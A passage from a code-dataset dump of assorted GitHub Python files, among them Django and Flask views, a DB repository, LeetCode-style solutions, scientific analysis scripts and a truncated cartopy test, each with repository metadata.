:\n\t\treturn convert(nilai//basis,basis) + kamus[nilai%basis]\n\nnilainya = int(input(\"Masukan Nilainya dong : \"))\ndgBasis = int(input(\"Basisnya Berapa.? : \"))\n\nprint(convert(nilainya,dgBasis))","repo_name":"NahrulK/Ngoding","sub_path":"PYTHON/Semester 1&2/TugasAkir1/Rekurensi/conv.py","file_name":"conv.py","file_ext":"py","file_size_in_byte":292,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"38009321105","text":"from rest_framework.permissions import BasePermission\r\n\r\n\r\nclass EmailVerified(BasePermission):\r\n \"\"\"\r\n Check if current user has verified email\r\n \"\"\"\r\n\r\n def has_permission(self, request, view):\r\n user = request.user\r\n return bool(user.email_verified)\r\n\r\n\r\nclass EmailNotVerified(BasePermission):\r\n \"\"\"\r\n Check if current user has verified email\r\n \"\"\"\r\n\r\n def has_permission(self, request, view):\r\n user = request.user\r\n return not bool(user.email_verified)\r\n\r\n\r\nclass UserHasJWTToken(BasePermission):\r\n \"\"\"\r\n Return True if JWT token is already generated for current user,\r\n and this token is not expired.\r\n \"\"\"\r\n\r\n def has_permission(self, request, view):\r\n user = request.user\r\n\r\n if user.token:\r\n return True\r\n else:\r\n return False\r\n","repo_name":"pykulytsky/kollox","sub_path":"backend/kollox/authentication/permissions.py","file_name":"permissions.py","file_ext":"py","file_size_in_byte":848,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"29438486142","text":"\"\"\"\nExperiment results analysis tool.\n\nNot yet generic. Should be included in pysimgrid.tools when is.\n\"\"\"\n\nfrom __future__ import print_function\n\nimport argparse\nimport collections\nimport json\nimport os\nimport textwrap\n\nimport numpy\n\n\ndef groupby(results, condition, asitems=True):\n groups = collections.defaultdict(list)\n for data in results:\n key = condition(data)\n groups[key].append(data)\n return groups.items() if asitems else groups\n\n\ndef par(string):\n return textwrap.dedent(string).strip()\n\n\ndef get_taskfile_name(item):\n return os.path.basename(item[\"tasks\"]).rsplit(\".\", 1)[0]\n\n\ndef get_task_count(item):\n return int(get_taskfile_name(item).split(\"_\")[1])\n\n\ndef get_taskfile_group(item):\n return \"_\".join(get_taskfile_name(item).split(\"_\")[:2])\n\n\ndef get_platform_name(item):\n return os.path.basename(item[\"platform\"])\n\n\ndef get_host_count(item):\n return int(get_platform_name(item).split(\"_\")[1])\n\n\ndef get_host_bandwidth(item):\n return int(get_platform_name(item).split(\"_\")[3])\n\n\ndef get_algorithm(item):\n return item[\"algorithm\"][\"name\"]\n\n\ndef main():\n MODES = {\n \"tgroup_hcount\": lambda results: normtime_all_algo(results, get_taskfile_group, get_host_count),\n \"tgroup_hcount_exp\": lambda results: etime_static_algo(results, get_taskfile_group, get_host_count),\n \"bandwidth_hcount\": lambda results: normtime_all_algo(results, get_host_bandwidth, get_host_count),\n \"bandwidth_hcount_exp\": lambda results: etime_static_algo(results, get_host_bandwidth, get_host_count)\n }\n\n parser = argparse.ArgumentParser(description=\"Experiment results analysis\")\n parser.add_argument(\"input_file\", type=str, help=\"experiment results\")\n parser.add_argument(\"-m\", \"--mode\", type=str, default=\"tgroup_hcount\", choices=list(MODES.keys()), help=\"processing mode\")\n args = parser.parse_args()\n\n with open(args.input_file) as input_file:\n results = json.load(input_file)\n\n MODES.get(args.mode)(results)\n\nANALYZE_FIELD = \"expected_makespan\"\n\ndef normtime_all_algo(results, cond1, cond2):\n ALGO_ORDER = [\"GA\", \"DLS\", \"HEFT\"]\n REFERENCE_ALGO = \"HEFT\"\n # evaluate normalized results\n for task, bytask in groupby(results, get_taskfile_name):\n for platform, byplat in groupby(bytask, get_platform_name):\n algorithm_results = groupby(byplat, get_algorithm, False)\n assert len(algorithm_results[REFERENCE_ALGO]) == 1\n reference = algorithm_results[REFERENCE_ALGO][0]\n for algorithm, byalg in algorithm_results.items():\n byalg[0][\"result\"] = byalg[0][ANALYZE_FIELD] / reference[ANALYZE_FIELD]\n\n latex_table(results, ALGO_ORDER, cond1, cond2)\n\n\ndef etime_static_algo(results, cond1, cond2):\n ALGO_ORDER = [\"GA\", \"DLS\", \"HEFT\"]\n REFERENCE_ALGO = \"HEFT\"\n\n results = list(filter(lambda r: get_algorithm(r) in ALGO_ORDER, results))\n # evaluate normalized results\n for task, bytask in groupby(results, get_taskfile_name):\n for platform, byplat in groupby(bytask, get_platform_name):\n algorithm_results = groupby(byplat, get_algorithm, False)\n assert len(algorithm_results[REFERENCE_ALGO]) == 1\n reference = algorithm_results[REFERENCE_ALGO][0]\n for algorithm, byalg in algorithm_results.items():\n byalg[0][\"result\"] = byalg[0][ANALYZE_FIELD] / reference[ANALYZE_FIELD]\n\n latex_table(results, ALGO_ORDER, cond1, cond2)\n\ndef latex_table(results, algorithms, cond1, cond2):\n # print results as latex table\n # a lot of hardcode there for now. not sure if can be avoided without excessively generic code.\n print(par(r\"\"\"\n \\begin{table}\n \\caption{TODO}\n \\begin{center}\n \\small\\begin{tabular}{*{%d}{l}}\n \\toprule\n GROUP 2 TODO & %s \\\\ \\midrule\n \"\"\") % (len(algorithms) + 1, \" & \".join(algorithms),))\n for c1, bycond1 in sorted(groupby(results, cond1)):\n print(par(r\"\"\"\n \\multicolumn{%d}{l}{GROUP 1 TODO %s} \\\\ \\midrule\n \"\"\") % (len(algorithms) + 1, c1))\n for c2, bycond2 in sorted(groupby(bycond1, cond2)):\n print(\"%-15s\" % c2, end=\"\")\n for algorithm, byalg in sorted(groupby(bycond2, get_algorithm), key=lambda pair: algorithms.index(pair[0])):\n mean = numpy.mean([r[\"result\"] for r in byalg])\n print(\" & %10.4f\" % mean, end=\"\")\n print(r\" \\\\\")\n print(r\"\\midrule\")\n print(par(r\"\"\"\n \\bottomrule\n \\end{tabular}\n \\end{center}\n \\label{tab:TODO}\n \\end{table}\n \"\"\"))\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"rialeksandrov/SimGridExperiments","sub_path":"GA_DLS_HEFT/analyse.py","file_name":"analyse.py","file_ext":"py","file_size_in_byte":4347,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"30904250921","text":"import pandas as pd\nimport numpy as np\nfrom datetime import datetime\nimport pickle\n\nTIME_INTERVAL_ = \"600s\"\n\ndata = pd.read_csv(\"/home/matilda/PycharmProjects/FailurePrediction/4_analysis/clog/data/NOVA/NOVA_clusters_processed_padded.csv\")\n\n# def mapping_tmp(x):\n# print(x)\n# return\n\ndata[\"time_hour_day\"] = data.time_hour.apply(lambda x: datetime.strptime(x, '%Y-%m-%d %H:%M:%S.%f'))\n\ndef group_data_test_id(data, test_id):\n return data[data.test_id==test_id]\n\ndef group_data_service(data, service):\n return data[data.parent_service == service]\n\ndef group_(data):\n test_vals = {}\n for test_id in np.unique(data.test_id.values):\n print(\"----------\"*10)\n print(\"Start processing test {}\".format(test_id))\n for rou in np.unique(data.loc[:, \"round\"].values):\n data1 = data[data.test_id == test_id]\n data1 = data1[data1.loc[:, \"round\"].values == rou]\n data1.index = data1.time_hour_day\n grs = data1.groupby([pd.Grouper(key=\"time_hour_day\", freq=TIME_INTERVAL_)]).groups\n for idx in range(len(list(grs.keys()))):\n for service in np.unique(data.parent_service.values):\n output = []\n # data1 = data1[data1.parent_service == service]\n if len(grs[list(grs.keys())[idx]]) > 0:\n pom = data1.loc[grs[list(grs.keys())[idx]], :]\n pom = pom[pom.parent_service == service]\n output.append((pom.Content.values,\n pom.level.values,\n pom.service.values,\n pom.round_1.values,\n pom.round_2.values,\n pom.api_round_1.values,\n pom.api_round_2.values,\n pom.assertions_round_1.values,\n pom.assertions_round_2.values,\n pom.clusters.values,\n pom.loc[:, \"round\"].values,\n # data1.loc[grs[list(grs.keys())[idx]], :].EventTemplate.values,\n # data1.loc[grs[list(grs.keys())[idx]], :].ParameterList.values,\n pom.anom_label.values,\n pom.encoded_labels.values,\n pom.time_hour_day.values))\n # print(grs[list(grs.keys())[idx]])\n test_vals[str(test_id) + \"_\" + service + \"_\" + str(rou) + \"_\" + grs[list(grs.keys())[idx]][0].strftime('%Y-%m-%d %H:%M:%S.%f')] = output\n print(\"Finish processing test {}\".format(test_id))\n\n return test_vals\n\nprocessed_data = group_(data)\n\nwith open(\"/home/matilda/PycharmProjects/FailurePrediction/4_analysis/clog/data/NOVA/resources/extracted_sequences_\" + TIME_INTERVAL_+ \".pickle\", \"wb\") as file:\n pickle.dump(processed_data, file)","repo_name":"context-aware-Failure-Identification/CLog","sub_path":"clog/1_preprocess_data.py","file_name":"1_preprocess_data.py","file_ext":"py","file_size_in_byte":3087,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"11572531033","text":"from time import sleep\n\na = 0.5\nx = 0\ny = 0\nz = 0\n\nr1 = int(input(\"RETA 1: \"))\nsleep(a)\nr2 = int(input(\"RETA 2: \"))\nsleep(a)\nr3 = int(input(\"RETA 3: \"))\nsleep(a)\n\nif abs(r2-r3) < r1 < r2+r3:\n x = 1\nif abs(r1-r3) < r2 < r1+r3:\n y = 1\nif abs(r1-r2) < r3 < r1+r2:\n z = 1\nif x + y + z == 3:\n print(\"É possível fazer um triângulo\")\nif x + y + z < 3:\n print(\"Não é possível fazer um triângulo\")\n","repo_name":"herozandn/Python","sub_path":"Conteudo_python/Cursoemvideo/exercícios/ex035.py","file_name":"ex035.py","file_ext":"py","file_size_in_byte":411,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"12256592741","text":"class Solution(object):\n def searchRange(self, nums, target):\n if not nums:\n return [-1, -1]\n n = len(nums)\n\n # 查找第一个和最后一个元素\n def find(is_find_first):\n begin = 0\n end = n - 1\n # if和elif的逻辑跟正常的二分查找一样\n while begin <= end:\n mid = begin + (end - begin) // 2\n if nums[mid] > target:\n end = mid - 1\n elif nums[mid] < target:\n begin = mid + 1\n # 找到目标值了,开始定位到第一个和最后一个位置\n else:\n # 查找第一个和最后一个逻辑很类似,这里用一个变量标记\n # 是查找第一个还是查找最后一个\n if is_find_first:\n # 如果不满足条件,缩小右边界,继续往左边查找\n if mid > 0 and nums[mid] == nums[mid - 1]:\n end = mid - 1\n else:\n return mid\n else:\n # 如果不满足条件,增大左边界,继续往右边查找\n if mid < n - 1 and nums[mid] == nums[mid + 1]:\n begin = mid + 1\n else:\n return mid\n return -1\n\n return [find(True), find(False)]\n\n\n# 第二种方法:\n'''\n# 链接:https://leetcode-cn.com/problems/find-first-and-last-position-of-element-in-sorted-array/solution/duo-tu-yan-shi-34-zai-pai-xu-shu-zu-zhong-cha-zhao/\n\n'''\n","repo_name":"PlutoaCharon/CodeExercise_Python","sub_path":"LeetCode/34. 在排序数组中查找元素的第一个和最后一个位置.py","file_name":"34. 在排序数组中查找元素的第一个和最后一个位置.py","file_ext":"py","file_size_in_byte":1690,"program_lang":"python","lang":"zh","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"31567903510","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n#from setup_env import *\n#from mmlibrary import *\n\nfrom astropy.coordinates import SkyCoord\nimport astropy.units as u\n\nfrom mmlibrary import *\n\nimport numpy as np\nimport lal\n\nfrom scipy.special import logsumexp\nimport cpnest, cpnest.model\n\n# Oggetto per test: GW170817\n#GW = SkyCoord('13h07m05.49s', '23d23m02.0s', unit=(u.hourangle, u.deg))\nDL=33.4\ndDL=3.34\n\nGW = SkyCoord(ra = '13h07m05.49s', dec = '23d23m02.0s',\n unit=('hourangle','deg'))\n\n\ndef Mstar(omega):\n '''\n Calcolo magnitudine di taglio Schechter function\n '''\n return -20.47 + 5.0*np.log10(omega.h)\n\ndef Schechter_unnormed(M, omega, alpha):\n '''\n Funzione di Schechter non normalizzata\n '''\n Ms = Mstar(omega)\n tmp = 10**(-0.4*(M-Ms))\n return tmp**(alpha+1.0)*np.exp(-tmp)\n\ndef normalise(omega, alpha, Mmin = -30,Mmax = -10):\n '''\n Normalizzazione funzione di Schechter (todo: fare analitica)\n '''\n M = np.linspace(Mmin, Mmax, 100)\n return np.sum([Schechter_unnormed(Mi, omega, alpha = alpha)*np.diff(M)[0] for Mi in M])\n\ndef Schechter(M, omega, alpha = -1.07):\n '''\n Funzione di Schechter normalizzata\n '''\n return Schechter_unnormed(M, omega, alpha = alpha)/normalise(omega, alpha = alpha)\n\ndef Mthreshold(DL, mth = 27.0):\n '''\n Magnitudine assoluta di soglia\n '''\n return mth - 5.0*np.log10(1e5*DL)\n\ndef mabs(m, DL):\n return m - 5.0*np.log10(1e5*DL)\n\n\ndef HubbleLaw(D_L, omega): # Da rivedere: test solo 1 ordine\n return D_L*omega.h/(3e3) # Sicuro del numero?\n\ndef gaussian(x,x0,sigma):\n return np.exp(-(x-x0)**2/(2*sigma**2))/(sigma*np.sqrt(2*np.pi))\n\nclass completeness(cpnest.model.Model):\n\n def __init__(self, catalog):\n self.names=['z', 'h', 'om', 'ol']\n self.bounds=[[0.001,0.012],\n [0.5,1.],\n [0.04,1.],\n [0.,1.]]\n self.omega = lal.CreateCosmologicalParameters(0.7,0.5,0.5,-1.,0.,0.)\n self.catalog = catalog\n\n\n def log_prior(self, x):\n # controllo finitezza e theta(M-Mth)\n\n if not(np.isfinite(super(completeness, self).log_prior(x))):\n return -np.inf\n else:\n self.omega.h = x['h']\n self.omega.om = x['om']\n self.omega.ol = x['ol']\n zgw = x['z']\n logP = 0.0\n for zi,mi in zip(self.catalog['z'],self.catalog['Bmag']):\n DL = lal.LuminosityDistance(self.omega, zi)\n Mabsi = mabs(mi,DL)\n if Mthreshold(DL) < Mabsi:\n\n return -np.inf\n else:\n # Update parametri cosmologici con simulazione\n\n # Calcolo prior. Ciascuna coordinata è pesata con le probabilità\n # delle coordinate ('banane') GW, così come z.\n # Temporaneamente, è assunta gaussiana intorno a un evento.\n logP += np.log(Schechter(Mabsi, self.omega))\n #log_P_RA = np.log(gaussian(x['ra'],Gal.ra.rad,Gal.ra.rad/100.))\n #log_P_DEC = np.log(gaussian(x['dec'],Gal.dec.rad,Gal.dec.rad/100.))\n logP += np.log(lal.ComovingVolumeElement(zi, self.omega))\n\n return logP\n # PROBLEMA! Come introduco le delta(ra,dec)?\n\n def log_likelihood(self, x):\n logL = 0.0\n zgw = x['z']\n\n logL += np.log(gaussian(lal.LuminosityDistance(self.omega, zgw), DL,dDL))\n logL += logsumexp([gaussian(zgw, zgi, zgi/10.0) for zgi in self.catalog['z']])\n #logL += np.log(gaussian(x['ra'],GW.ra.rad,GW.ra.rad/10.))\n #logL += np.log(gaussian(x['dec'],GW.dec.rad,GW.dec.rad/10.))\n\n return logL\n\nif __name__ == '__main__':\n Gal_cat = GalInABox([190,200],[-25,-15], u.deg, u.deg, catalog='GLADE')[::100]\n M = completeness(Gal_cat)\n\n job = cpnest.CPNest(M, verbose=2, nthreads=4, nlive=1000, maxmcmc=1024)\n job.run()\n# GLADE galaxy catalog\n","repo_name":"sterinaldi/completeness","sub_path":"p_omega.py","file_name":"p_omega.py","file_ext":"py","file_size_in_byte":3989,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"18783092091","text":"from django.db.models import Q\nfrom django.shortcuts import render\n\n# Create your views here.\nfrom django.views.generic import View\nfrom pure_pagination import Paginator, PageNotAnInteger, EmptyPage\n\nfrom courses.models import Course\nfrom organization.models import CourseDep, Teacher\nfrom utils.mixin_utils import LoginRequiredMixin\n\n\nclass DepView(View):\n def get(self, request):\n all_deps = CourseDep.objects.all()\n dep_nums = all_deps.count()\n search_keywords = request.GET.get('keywords', '')\n if search_keywords:\n # 在name字段进行操作,做like语句的操作。i代表不区分大小写\n # or操作使用Q\n all_deps = all_deps.filter(Q(name__icontains=search_keywords) | Q(desc__icontains=search_keywords))\n # 根据学习人数和课程数排序\n sort = request.GET.get('sort', \"\")\n if sort:\n if sort == \"students\":\n all_deps = all_deps.order_by(\"-students\")\n elif sort == \"courses\":\n all_deps = all_deps.order_by(\"-course_nums\")\n\n try:\n page = request.GET.get('page', 1)\n except PageNotAnInteger:\n page = 1\n\n p = Paginator(all_deps, 2, request=request)\n deps = p.page(page)\n\n return render(request, 'dep-list.html', {\n \"all_deps\": deps,\n \"dep_nums\": dep_nums,\n })\n\n\nclass DepHomeView(View):\n \"\"\"部门首页\"\"\"\n\n def get(self, request, dep_id):\n # 根据id找到课程机构\n current_page = 'home'\n course_dep = CourseDep.objects.get(id=int(dep_id))\n # 反向查询到课程机构的所有课程和老师\n all_courses = course_dep.course_set.all()[:4]\n all_teacher = course_dep.teacher_set.all()[:2]\n print(\"部门首页请求到达后台\")\n return render(request, 'dep-detail-homepage.html', {\n 'course_dep': course_dep,\n 'all_courses': all_courses,\n 'all_teacher': all_teacher,\n 'current_page': current_page,\n })\n\n\nclass DepCourseView(View):\n \"\"\"\n 部门课程列表页\n \"\"\"\n\n def get(self, request, dep_id):\n current_page = 'course'\n # 根据id取到课程机构\n course_dep = CourseDep.objects.get(id=int(dep_id))\n # 通过课程机构找到课程。内建的变量,找到指向这个字段的外键引用\n all_courses = course_dep.course_set.all()\n # 判断收藏状态\n # has_fav = False\n # if request.user.is_authenticated:\n # if UserFavorite.objects.filter(user=request.user, fav_id=course_org.id, fav_type=2):\n # has_fav = True\n\n return render(request, 'dep-detail-course.html', {\n 'all_courses': all_courses,\n 'course_dep': course_dep,\n 'current_page': current_page,\n # 'has_fav': has_fav,\n })\n\n\nclass DepDescView(View):\n '''机构介绍页'''\n\n def get(self, request, dep_id):\n current_page = 'desc'\n # 根据id取到课程机构\n course_dep = CourseDep.objects.get(id=int(dep_id))\n # 判断收藏状态\n # has_fav = False\n # if request.user.is_authenticated:\n # if UserFavorite.objects.filter(user=request.user, fav_id=course_org.id, fav_type=2):\n # has_fav = True\n return render(request, 'dep-detail-desc.html', {\n 'course_dep': course_dep,\n 'current_page': current_page,\n # 'has_fav': has_fav,\n })\n\n\nclass DepTeacherView(View):\n \"\"\"\n 机构教师页\n \"\"\"\n\n def get(self, request, dep_id):\n current_page = 'teacher'\n course_dep = CourseDep.objects.get(id=int(dep_id))\n all_teacher = course_dep.teacher_set.all()\n # 判断收藏状态\n # has_fav = False\n # if request.user.is_authenticated:\n # if UserFavorite.objects.filter(user=request.user, fav_id=course_org.id, fav_type=2):\n # has_fav = True\n\n return render(request, 'dep-detail-teachers.html', {\n 'all_teacher': all_teacher,\n 'course_dep': course_dep,\n 'current_page': current_page,\n # 'has_fav': has_fav,\n })\n\n\nclass TeacherListView(View):\n def get(self, request):\n all_teachers = Teacher.objects.all()\n # 总共有多少老师使用count进行统计\n teacher_nums = all_teachers.count()\n\n # 搜索功能\n search_keywords = request.GET.get('keywords', '')\n if search_keywords:\n # 在name字段进行操作,做like语句的操作。i代表不区分大小写\n # or操作使用Q\n all_teachers = all_teachers.filter(name__icontains=search_keywords)\n # 人气排序\n # sort = request.GET.get('sort','')\n # if sort:\n # if sort == 'hot':\n # all_teachers = all_teachers.order_by('-click_nums')\n #\n # #讲师排行榜\n # sorted_teacher = Teacher.objects.all().order_by('-click_nums')[:3]\n # 进行分页\n try:\n page = request.GET.get('page', 1)\n except PageNotAnInteger:\n page = 1\n p = Paginator(all_teachers, 1, request=request)\n teachers = p.page(page)\n return render(request, \"teachers-list.html\", {\n \"all_teachers\": teachers,\n \"teacher_nums\": teacher_nums,\n\n })\n\nclass TeacherDetailView(LoginRequiredMixin, View):\n def get(self, request, teacher_id):\n teacher = Teacher.objects.get(id=int(teacher_id))\n all_course = Course.objects.filter(teacher=teacher)\n # 教师收藏和机构收藏\n\n return render(request, 'teacher-detail.html', {\n 'teacher': teacher,\n 'all_course': all_course,\n })\n","repo_name":"fagen/CSLab","sub_path":"organization/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5812,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"12750974302","text":"from django.db import models\r\nfrom django.utils.translation import gettext_lazy as _\r\n\r\n\r\nclass GroupRules(models.Model):\r\n can_send_message = models.BooleanField(\r\n _(\"Can send message\"), default=True,\r\n help_text=_(\"Members can send message or not\")\r\n )\r\n\r\n can_add_member = models.BooleanField(\r\n _(\"Can add member\"), default=True,\r\n help_text=_(\"Members can add member or not\")\r\n )\r\n","repo_name":"ThePokerFaCcCe/messenger","sub_path":"community/models/group_rules.py","file_name":"group_rules.py","file_ext":"py","file_size_in_byte":427,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"6066544889","text":"# A에서 해당 알파벳 만들기 위해 필요한 방향키 수 구하는 함수\ndef up_down_count(s):\n return min(ord(s)-ord('A'), 26-(ord(s)-ord('A')))\n\n# 가장 가까운 A아닌 곳까지의 거리 구하는 함수\ndef get_next(str, name, cur):\n for i in range(1, len(name)//2+1):\n is_left = str[cur-i] != name[cur-i]\n is_right = str[(cur+i)%len(name)] != name[(cur+i)%len(name)]\n # 만약 가장 가까운 위치까지 가는 방법이 왼쪽, 오른쪽 모두 가능하다면\n # 더 멀리까지 알파벳 확인해본다\n # A아닌 것들이 연달아서 많이 있으면 나중에 돌아서 한번에 주르륵 하는 게 더 빠르므로\n # A아닌 것들이 더 짧게 연속된 방향부터 처리\n if is_left and is_right :\n left, right = 0, 0\n for j in range(i+1, len(name)//2+1):\n if str[(cur+j)%len(name)] != name[(cur+j)%len(name)]:\n right += 1\n if str[cur-j] != name[cur-j]:\n left += 1\n \n return i if right= 0 else -move\n cur_idx = (cur_idx + move) % len(name)\n \n return answer\n\n# main solution 함수\n# 먼저 첫글자에 대한 처리를 해주고\n# 왼쪽으로 먼저 갔을 떄, 오른쪽 먼저 갔을 때 두 경우를 모두 구하고 최소값을 취한다\ndef solution (name):\n # 먼저 첫글자에 대한 처리\n answer = up_down_count(name[0])\n # 길이가 1이면 바로 리턴\n if len(name) == 1:\n return answer\n # 왼쪽으로 이동하고 시작한 경우, 오른쪽으로 이동하고 시작한 경우 각각 구하고 최소값\n answer += min( _solution(name, 1), _solution(name, -1 % len(name)))\n # 처음 한칸 이동한 것을 고려해서 + 1 \n # 최소값 취해도 0이라면 처음부터 다 A였다는 것이므로 0리턴\n return answer + 1 if answer != 0 else 0","repo_name":"hongsy0113/algorithm-study","sub_path":"programmers/practice/greedy/조이스틱.py","file_name":"조이스틱.py","file_ext":"py","file_size_in_byte":3002,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"41919908695","text":"from typing import Any, Optional\n\nfrom src.infra.repositories.db.db_base import DBBaseRepository\nfrom src.infra.repositories.db.exceptions import EntityNotFoundException\nfrom src.infra.repositories.db.model import (\n Bot,\n DBCreateBotParams,\n)\n\n\nclass DBBotRepository(DBBaseRepository):\n @property\n def _model_cls(self):\n return Bot\n\n @property\n def _query(self):\n return f\"SELECT bot_id, token, date_created from {self.db_schema}.bots\"\n\n async def get_one(self, id: Any) -> _model_cls:\n query = f\"{self._query} where id = :id\"\n res = await self.one_query(query, {\"id\": id})\n if not res:\n raise EntityNotFoundException\n return res\n\n async def get_by_bot_id(self, bot_id: str) -> _model_cls:\n query = f\"{self._query} where bot_id = :bot_id\"\n res = await self.one_query(query, {\"bot_id\": bot_id})\n if not res:\n raise EntityNotFoundException\n return res\n\n async def get_by_token(self, token: str) -> _model_cls:\n query = f\"{self._query} where token = :token\"\n res = await self.one_query(query, {\"token\": token})\n if not res:\n raise EntityNotFoundException\n return res\n\n async def delete_by_bot_id(self, bot_id: str) -> _model_cls:\n query = f\"DELETE FROM {self.db_schema}.bots WHERE bot_id = :bot_id RETURNING *\"\n res = await self.one_query(query, {\"bot_id\": bot_id})\n if not res:\n raise EntityNotFoundException\n return res\n\n async def delete_by_bot_token(self, token: str) -> _model_cls:\n query = f\"DELETE FROM {self.db_schema}.bots WHERE token = :token RETURNING *\"\n res = await self.one_query(query, {\"bot_id\": token})\n if not res:\n raise EntityNotFoundException\n return res\n\n async def get_many(self, limit: int, offset: int) -> Optional[list[_model_cls]]:\n query = f\"SELECT bot_id, token, date_created from {self.db_schema}.bots ORDER BY date_created LIMIT {limit} OFFSET {offset}\"\n return await self.all_query(query)\n\n async def delete(self, id: Any) -> _model_cls:\n query = f\"DELETE FROM {self.db_schema}.users WHERE id = :id RETURNING *\"\n res = await self.one_query(query, {\"id\": id})\n if not res:\n raise EntityNotFoundException\n return res\n\n async def create(self, params: DBCreateBotParams) -> _model_cls:\n keys = \", \".join([k for k in params.dict().keys()])\n kkeys = \", \".join([f\":{k}\" for k in params.dict().keys()])\n print(\"ALL KEYS\", params.dict().keys())\n print(\"KEYS\", keys)\n query = (\n f\"INSERT INTO {self.db_schema}.bots ({keys}) VALUES ({kkeys}) RETURNING *\"\n )\n return await self.one_query(query, params.dict())\n\n # async def update(self, id: Any, params: UpdateUserParams) -> _model_cls:\n # upd_datams = \", \".join(\n # [f\"{k} = :{k}\" for k in params.dict(exclude_unset=True).keys()]\n # )\n # query = (\n # f\"UPDATE {self.db_schema}.users SET {upd_datams} WHERE id = :id RETURNING *\"\n # )\n # return await self.one_query(query, params.dict(exclude_unset=True) | {\"id\": id})\n #\n async def get_row_count(self) -> int:\n return await self.get_value(f\"SELECT count(0) FROM {self.db_schema}.bots\")\n","repo_name":"amakridin/fastapi_db_app","sub_path":"src/infra/repositories/db/db_bot_repository.py","file_name":"db_bot_repository.py","file_ext":"py","file_size_in_byte":3341,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"3675939199","text":"from flask import Blueprint, request, current_app\n\nfrom ..controller.humidity import get_humidity\nfrom ..controller.temperature import get_temperature\nfrom ..controller.weather import get_weather\nfrom ..controller.weight import get_weight\nfrom ..controller.traveladvice import get_travel_advice\nfrom ..controller.news import get_news\nfrom ..controller.pm25 import get_pm25\nfrom ..controller.wind import get_wind\n\nimport random\nfrom datetime import date, datetime\n\nfrom ..util import responseto\nfrom ..models import db, Heartrate, Weight\n\nextension_bp = Blueprint('extension', __name__)\n\n\n@extension_bp.route('/humidity')\ndef humidity():\n try:\n res = get_humidity()\n return responseto(100, res)\n except:\n return responseto(204)\n\n\n@extension_bp.route('/temperature')\ndef temperature():\n try:\n res = get_temperature()\n return responseto(100, res)\n except:\n return responseto(203)\n\n\n@extension_bp.route('/heartrate', methods=['GET', 'POST'])\ndef heartrate():\n if request.method == 'GET':\n try:\n res = Heartrate.query.order_by(Heartrate.time.desc()).first()\n return responseto(100, res.heartrate)\n except:\n return responseto(206)\n elif request.method == 'POST':\n h = request.form['heartrate']\n h = int(h)\n if h < 0:\n h += 256\n h = Heartrate(time=datetime.now(), heartrate=h)\n db.session.add(h)\n db.session.commit()\n return responseto(100)\n\n\n@extension_bp.route('/weight')\ndef weight():\n try:\n res = get_weight()\n user = current_app.user\n name = user.name\n w = float(res.split(' ')[0])\n weight = Weight(name=name, weight=w, date=date.today())\n Weight.query.filter(Weight.date == date.today()).delete()\n db.session.add(weight)\n db.session.commit()\n return responseto(100, res)\n except:\n return responseto(205)\n\n\n@extension_bp.route('/traveladvice')\ndef traveladvice():\n temperature = request.args.get('t')\n\n if temperature is None:\n temperature = random.randint(-11, 41)\n\n if isinstance(temperature, str):\n try:\n temperature = int(temperature)\n except:\n return responseto(208)\n\n res = get_travel_advice(temperature)\n return responseto(100, res)\n\n\n@extension_bp.route('/news')\ndef news():\n try:\n res = get_news()\n return responseto(100, res)\n except:\n return responseto(209)\n\n\n@extension_bp.route('/pm25')\ndef pm25():\n try:\n res = get_pm25()\n return responseto(100, res)\n except:\n return responseto(210)\n\n\n@extension_bp.route('/weather')\ndef weather():\n try:\n res = get_weather()\n return responseto(100, res)\n except:\n return responseto(211)\n\n\n@extension_bp.route('/wind')\ndef wind():\n try:\n res = get_wind()\n return responseto(100, res)\n except:\n return responseto(212)\n","repo_name":"iMediaLab-518/MirrorServer","sub_path":"server/extensions/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2972,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"8842918186","text":"# HackerRank Challenge.\n# Ahmed Amin 14 / 10 / 2020.\n\n# Given an array of integers, calculate the ratios of its elements that are positive, negative, and zero. Print the\n# decimal value of each fraction on a new line with 6 places after the decimal.\n\ndef plus_minus(arr):\n positive = 0\n negative = 0\n zeros = 0\n\n for i in range(len(arr)):\n if arr[i] == 0:\n zeros += 1\n elif arr[i] > 0:\n positive += 1\n elif arr[i] < 0:\n negative += 1\n\n print(\"{:.6f}\".format(positive / len(arr)))\n print(\"{:.6f}\".format(negative / len(arr)))\n print(\"{:.6f}\".format(zeros / len(arr)))\n\n\narray = [-4, 3, -9, 0, 4, 1]\nplus_minus(array)\n","repo_name":"ahmedamin1700/python_challenges","sub_path":"plus_minus.py","file_name":"plus_minus.py","file_ext":"py","file_size_in_byte":691,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"73026989173","text":"from __future__ import (absolute_import, division, print_function)\n\nimport tempfile\n\nfrom matplotlib.testing.decorators import cleanup\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom numpy.testing import assert_array_almost_equal, assert_array_equal\n\nimport cartopy.crs as ccrs\n\n\n@cleanup\ndef test_extents():\n # tests that one can set the extents of a map in a variety of coordinate\n # systems, for a variety of projection\n uk = [-12.5, 4, 49, 60]\n uk_crs = ccrs.Geodetic()\n\n ax = plt.axes(projection=ccrs.PlateCarree())\n ax.set_extent(uk, crs=uk_crs)\n # enable to see what is going on (and to make sure it is a plot of the 